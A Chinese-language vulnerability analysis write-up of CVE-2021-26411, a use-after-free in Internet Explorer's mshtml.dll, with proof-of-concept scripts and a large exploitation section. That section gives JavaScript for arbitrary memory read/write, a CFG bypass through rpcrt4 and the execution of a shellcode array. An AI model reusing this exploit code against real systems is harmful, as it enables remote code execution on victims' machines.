CVE-2021-26411漏洞分析笔记
2022-3-16 18:8:32 Author: mp.weixin.qq.com(查看原文) 阅读量:56 收藏


本文为看雪论坛优秀文章
看雪论坛作者ID:AshCrimson

漏洞信息

CVE-2021-26411 该漏洞存在于iexplore.exe mshtml.dll模块,在JS9引擎处理dom对象时,由于未对nodevalue对象的有效性做判断,所导致的UAF漏洞,该漏洞可实现RCE。

漏洞分析

漏洞poc
 
poc比较简单,首先创建了一个element。创建了2个Attribute属性。
 
声明了一个对象obj,将obj的valueof函数进行了重载,重载后的函数会清空element的所有属性。attr1赋值obj,attr2赋值123,然后将将这两个属性赋值于element。
 
最后清除element的attr1属性。
<script>var element = document.createElement('xxx');var attr1 = document.createAttribute('yyy');var attr2 = document.createAttribute('zzz');
var obj = {};obj.valueOf = function() { element.clearAttributes(); return 0x1337;};
attr1.nodeValue = obj;attr2.nodeValue = 123;element.setAttributeNode(attr1);element.setAttributeNode(attr2);element.removeAttributeNode(attr1);</script>
通过poc来看,最有可能产生uaf的代码可能是,obj.valueof重载后的回调函数,和最后element清除attr1属性的操作。但是并不确定obj.valueof()何时会被调用,代码中没有直接调用。
 
开始进行调试,程序会中断于此处,edx是CAttrArray,此处为空,在取偏移为0xC的值时,引发了空指针异常。
通过调用堆栈来看,程序会通过CElement::ie9_removeAttrubuteNode->ie9_removeAttributeNodeInternal->CattrArray::Destroy函数调用清除attr1。
element.removeAttributeNode(attr1);
下面对CElement::ie9_removeAttributeNodeInternal函数进行分析。
当前CElement对象:
首先会调用函数查找需要移除的Attr对象在CAttrArray中的索引。
 
在CBase::FindAAIndexNS中可知CElement+0x10位置是CAttrArray数组,在数组中CAttrArray+8位置,可以看到数组。
这个数组中存储了Attributre和nodevalue对象。poc中所创建的obj应是索引1处的0x165780C4,为nodevalue1,索引3处为nodevalue2,value值的0x7b=123。

 
CBase::FindAAIndexNS函数返回值为2,因为删除的元素是attr1,可知索引2处是attr1的对象,索引4为attr2的对象。
然后程序再次调用该函数获取nodevalue对象索引,此时返回1。
接着会调用函数CBase::GetInfoBSTRat传入node_value对象索引,获取node_value值,并转换为BSTR字符串。
在这个函数中获取node_value的操作会触发valueof函数的回调,会调用重载后的函数,执行"element.ClearAttribute();"的操作。
而后执行函数删除CBase::DeleteAt删除索引2处attr对象。
 
当前CAttrArray布局,可以看到CAttrArray由于被清空,attr和node_value元素均已被最后一个对象覆盖。
而后再次执行函数CBase::FindAIndexNS获取node_value索引,此时由于CAttrArray被清空,已经获取不到了,此时返回-1,随后调用DeleteAt删除node_value,但是前面获取的node_value索引是-1。
 
传入索引为-1时,会触发异常将CAttrArray置为null,在CAttrArray::Destroy函数获取成员变量时触发空指针异常。
由于在ClearAttributes();函数执行时,CAttrArray数组中会通过最后一个对象进行覆盖操作,并且在后面第一次执行CBase::DeleteAt中会进行取值。
所以可以通过创建BSTR字符串,赋值给最后一个nodevalue,在SysFreeString时进行触发释放重引用。
 
修改后poc如下:
<script>    var element = document.createElement('a');    var attr1 = document.createAttribute('b');    var attr2 = document.createAttribute("c");    var hd2;    var obj = {};    obj.valueOf = function () {        element.clearAttributes();        return 0x1337;    };    attr1.nodeValue = obj;    element.setAttributeNode(attr1);    element.setAttribute("d", Array(0x10000).join('A'));    element.removeAttributeNode(attr1);</script>
当前Array:
执行完ClearAttributes后,CAttrArray被覆盖,并且node_value的BSTR字符串已经被释放。

BSTR内存空间被释放:

第一次DeleteAt时,nodevalue中BSTR字符串内存空间被释放重引用,所以该漏洞本质是一个UAF类型的漏洞。
 

漏洞利用

漏洞的利用方式是通过两个指针指向该nodevalue内存,进行类型混淆,通过读写这块内存构造出一个起始地址为0,长度为0xffffffff的ArrayBuffer,然后解析为DataView,实现任意地址的读写。
 
而后通过构造RPC_MESSAGE调用NdrServerCall进行任意系统函数的调用,覆盖rpcrt4.dll系统调用为KiFastSystemCalRetl关闭rpcrt4.dll的CFG保护,然后进行任意函数的跳转,执行shellcode。
 
在第二次DeleteAt时,,FindAAIndexNS返回索引为-1,而导致在函数中主动触发异常使CAttray被置空,所以需要绕过异常。
可以在ClearAttributes后,再将attribute set回去,同时在ClearAttributes释放内存后,hd2.nodevalue使用大小为0x20010的dataview对象占用这块内存空间。
att.nodeValue = {           valueOf: function () {               hd1.nodeValue = (new alloc1()).nodeValue               ele.clearAttributes()               //重引用被释放的内存               hd2 = hd1.cloneNode()               //绕过异常               ele.setAttribute('attribute', 1337)           }       }
function alloc1() {    var view = new DataView(abf)    var str = ''    for (var i = 4; i < abf.byteLength - 2; i += 2)        str += '%u' + pad0(view.getUint16(i, true).toString(16))    var result = document.createAttribute('alloc')    result.nodeValue = unescape(str)    return result}
然后在removeAttribute时进行二次释放,然后使用一个dict对象再次占用这块内存。
这样做的目的是进行类型混淆,通过hd2.nodevalue读取和修改hd0.nodevalue内存。
function alloc2() {           // 创建字典对象           var dic1 = new ActiveXObject('Scripting.Dictionary')           var dic2 = new ActiveXObject('Scripting.Dictionary')           dic2.add(0, 1)           dic1.add(0, dic2.items())           dic1.add(1, fake)           dic1.add(2, arr)           for (i = 3; i < 0x20010 / 0x10; ++i)               dic1.add(i, 0x12341234)           return dic1.items()       } var alloc = alloc2() // 触发valueof函数回调 ele.removeAttributeNode(att) //再次重引用removeAttributeNode后被释放的内存 hd0.nodeValue = alloc //通过hd2.nodevalue读取重用后hd0.nodevalue内存 var leak = new Uint32Array(dump(hd2.nodeValue)) //fake var pAbf = leak[6] //arr[]地址 var pArr = leak[10];
1:023:x86> dd 0c0b88900c0b8890  00000000 00000000 098202b8 00000000 dict2.items();0c0b88a0  00000009 00000000 09dcdec4 00000000 fakeBuf ArrayBuffer(0x100)0c0b88b0  00000009 00000000 09dcdf04 00000000 arr  [{}]0c0b88c0  00000003 00000000 12341234 000000000c0b88d0  00000003 00000000 12341234 000000000c0b88e0  00000003 00000000 12341234 000000000c0b88f0  00000003 00000000 12341234 000000000c0b8900  00000003 00000000 12341234 00000000
然后取出fakeBuf的地址,并刷新nodevalue的内存写入前40个字节地址。
function flush() {            hd1.nodeValue = (new alloc1()).nodeValue            hd2.nodeValue = 0            hd2 = hd1.cloneNode()        }var VT_I4 = 0x3;var VT_DISPATCH = 0x9;var VT_BYREF = 0x4000;var bufArr = new Array(0x10);var fakeArr = new Uint32Array(fake);for (var i = 0; i < 0x10; i++) {     setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4));}flush();

再次将这些内存地址读取至bufArr[i]中,取出fakeBuf属性:
ref = new VBArray(hd0.nodeValue);for (var i = 0; i < 0x10; i++) {    bufArr[i] = ref.getItem(i + 1);}ref = null;setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]));setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04));setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c));flush();
Int32Array,ArrayBuffer内存结构参考,64位下有所差别。
Struct Int32Array     allocated at Custom Heap{    void* pvftable;    DOWRD var_2;    DOWRD var_3;    DOWRD var_4;    DOWRD var_5;    DOWRD var_6;    DOWRD size;            //条目的个数,字节数等于这项的值*4    void* pTypeArrayData;  //Arraybuffer Data    void* pArrayBuffer;   //Arraybuffer Object    DWORD var_10;    DWORD var_11;    DWORD var_12;}Struct ArrayBuffer      allocated at Custom Heap{    void* pvftable;    DOWRD var_2;    DOWRD var_3;    DOWRD var_4;    void* pTypeArrayData;       //Arraybuffer Data    DWORD size;                 //array bytes    DWORD var_10;    DWORD var_11;}
这里对ArrayBuffer做了封装,外层是JavaScriptDispatch对象。

ArrayBuffer_data由于前面通过下面这条代码进行初始化,所以其中存储的是Array对象,也是后面要进行伪造的ArrayBuffer对象。
var fake = new ArrayBuffer(0x100);var fakeArr = new Uint32Array(fake);
刷新后,0f0 0f4 10c位置对应着fakebuf的属性。
然后通过前面申请的指向fakeBuf的fakeArray对象伪造出一份起始地址为0x0,长度为0xffffffff的ArrayBuffer对象,将bufArr中属性写入fakeArr,并将fake的ArrayBuf虚表指针地址fakeArr[4]位置。
 
将fake的一些属性进行替换,并将长度修改为0xffffffff,然后将构造好的ArrayBuffer写入node_value中。
ref = new VBArray(hd0.nodeValue);      var vt = ref.getItem(1);      var gc = ref.getItem(2);      var bs = ref.getItem(3);      ref = null;      for (var i = 0; i < 16; ++i) {          fakeArr[i] = bufArr[i];      }      fakeArr[4] = bs + 0x40;      fakeArr[16] = vt;      fakeArr[17] = gc;      fakeArr[24] = 0xffffffff;      setData(1, new Data(VT_DISPATCH, bs));      flush();
然后将这个ArrayBuffer解析为dataview对象,就可以实现任意地址读写。然后通过将对象存储至arr[{}],并读取pArr值,实现任意对象地址的读取。
function addrOf(obj) {           arr[0] = obj           return read(pArr, 32)       }write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
通过任意地址读写泄露模块的基址,通过PE文件结构获取一些函数地址。
var map = new Map()var jscript9 = getBase(read(addrOf(map), 32))var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')var msvcrt = getDllBase(jscript9, 'msvcrt.dll')var ntdll = getDllBase(msvcrt, 'ntdll.dll')var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
而后创建了一个Attribute对象xyz,并覆盖其函数normalize(),修改为NdrServerCall2。
var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)var patt = read(addrOf(xyz) + 0x18, 32)cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
RPC_MESSAGE结构,由图中可以看出Handle存放了一个OSF_SCALL虚表指针,Buffer位置存放了远程调用中函数的传参,RpcInterfaceInformation存放了函数接口信息,通过几个结构体包装了函数的信息,最终会指向的是函数的指针,然后最终通过NdrServerCall2进行调用。
NdrServerCall2接收参数RPC_MESSAGE,内部会调用NdrStubCall2函数。
内部在获取RPC_MESSAGE后会对函数偏移进行一些计算,以及参数做一些处理,然后进行函数调用。

第一个值Handle是OSF_SCALL 虚表指针,通过查看其引用,可以通过调用函数I_RpcTransServerNewConnection函数获取到这个虚表指针填充至handle。

 
exp中也是这样进行构造的。
function aos() {          var baseObj = createBase()          var addr = baseObj.addr + baseObj.size          var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')          prepareCall(addr, I_RpcTransServerNewConnection)          return read(read(call(addr) - 0xf8, 32), 32)      }
然后对RPC结构进行初始化:
function initRpc() {           var data = [50, 72, 0, 0, 0, 0, 0, 0, 52, 0, 192, 0, 16, 0, 68, 13, 10, 1, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 9, 0, 72, 0, 4, 0, 9, 0, 72, 0, 8, 0, 9, 0, 72, 0, 12, 0, 9, 0, 72, 0, 16, 0, 9, 0, 72, 0, 20, 0, 9, 0, 72, 0, 24, 0, 9, 0, 72, 0, 28, 0, 9, 0, 72, 0, 32, 0, 9, 0, 72, 0, 36, 0, 9, 0, 72, 0, 40, 0, 9, 0, 72, 0, 44, 0, 9, 0, 112, 0, 48, 0, 9, 0, 0]           var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')           var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')           var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')           var RPCMessageObject = createArrayBuffer(cbase.size())           var buffer = createArrayBuffer(0x100)           var buffer2 = createArrayBuffer(0x200)           var AttributeVtable = read(patt, 32)           var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)           var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())           var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())           var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())           var rpcProcStringBuffer = createArrayBuffer(data.length)           writeData(rpcProcStringBuffer, data)           var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())           var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())           var NdrServerCall2Buffer = createArrayBuffer(4)           write(NdrServerCall2Buffer, NdrServerCall2, 32)           write(MSHTMLSymbolBuffer, osf_vft, 32)           write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)           write(MSHTMLSymbolBuffer + 8, 0x40, 32)           cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))           cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))           cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))           cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))           cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)           cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)           write(RPCMessageObject + 76, 1, 32)           syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)           _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)           _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)           _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)           _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)           _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)           _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)           _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)           return RPCMessageObject       }
通过覆盖rpcrt4_guard_check_icall_fptr中保存的函数指针,修改为KiFastSystemCallRet关闭CFG保护,使其可以跳转到shellcode。
function killCfg(addr) {      var cfgobj = new CFGObject(addr)      if (!cfgobj.getCFGValue()) return      var guard_check_icall_fptr_address = cfgobj.getCFGAddress()      var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')      var tmpBuffer = createArrayBuffer(4)      // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])      // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet      // 关闭rpcrt4的CFG检查      write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)      // 恢复PRCRT4!__gurad_check_icall_fptr内存属性      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])      map.delete(tmpBuffer)  }
执行shellcode:
         var shellcode = new Uint8Array([ 0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75,0x05, 0x95, 0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD,0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE,0x06, 0x3A, 0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24,0x1C, 0x75, 0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03,0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9,0x33, 0xDB, 0x53, 0x68, 0x65, 0x64, 0x7E, 0x7E, 0x68, 0x68, 0x61, 0x63, 0x6B, 0x8B, 0xC4, 0x53,0x50, 0x50, 0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x0C, 0x0D, 0xCC, 0x04, 0x00, 0x0B,0x0A, 0x0A, 0xCA, 0x02, 0xAD, 0x0B, 0x0A, 0x0A, 0x0E, 0x0D, 0x00, 0x01, 0x50, 0x00, 0x0A, 0x0B,0xFF, 0x0E, 0x0C, 0xEA, 0xEA, 0x0A, 0x0B, 0xFF, 0x0E, 0x04, 0xCA, 0x02, 0x0A, 0xEC, 0x0E, 0x0C,0xDE, 0x0E, 0x04, 0x0B, 0xFF, 0x0E, 0xED, 0x0A, 0x0A, 0x0E, 0x0C, 0xDE, 0xCA, 0x02, 0x0A, 0xEC,0x0E, 0x0C, 0xDE, 0x0E, 0xEA, 0x0D, 0x0B, 0xFF, 0x0E, 0x32, 0x0B, 0xFF, 0x0E, 0x0A, 0x0E, 0xCA,0x02 ])    var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000    var tmpBuffer = createArrayBuffer(4)    call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])    writeData(msi, shellcode) // mov eax, 0x1337 ; ret    call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])    var result = call2(msi, [])

参考链接:

https://enki.co.kr/blog/2021/02/04/ie_0day.html 
https://ha.cker.in/index.php/Article/17190
https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html
https://paper.seebug.org/1579/

看雪ID:AshCrimson

https://bbs.pediy.com/user-home-893960.htm

*本文由看雪论坛 AshCrimson 原创,转载请注明来自看雪社区

# 往期推荐

1.Windows本地提权漏洞CVE-2014-1767分析及EXP编写指导

2.Vmprotect3.5.1 壹之型 — 暗月·宵之宫

3.Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析

4.通过某音Cronet模块学习Quic协议

5.特斯拉攻击案例解读:硬件逆向分析

6.什么是runC?

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458432827&idx=2&sn=9057ce0bbbb134f67bc915990bb457bf&chksm=b18f85b186f80ca7daad8edb9d26963120fba3e8c5d86e11c973bfc4d7c96fd5abe1d3162ba4#rd
如有侵权请联系:admin#unsafe.sh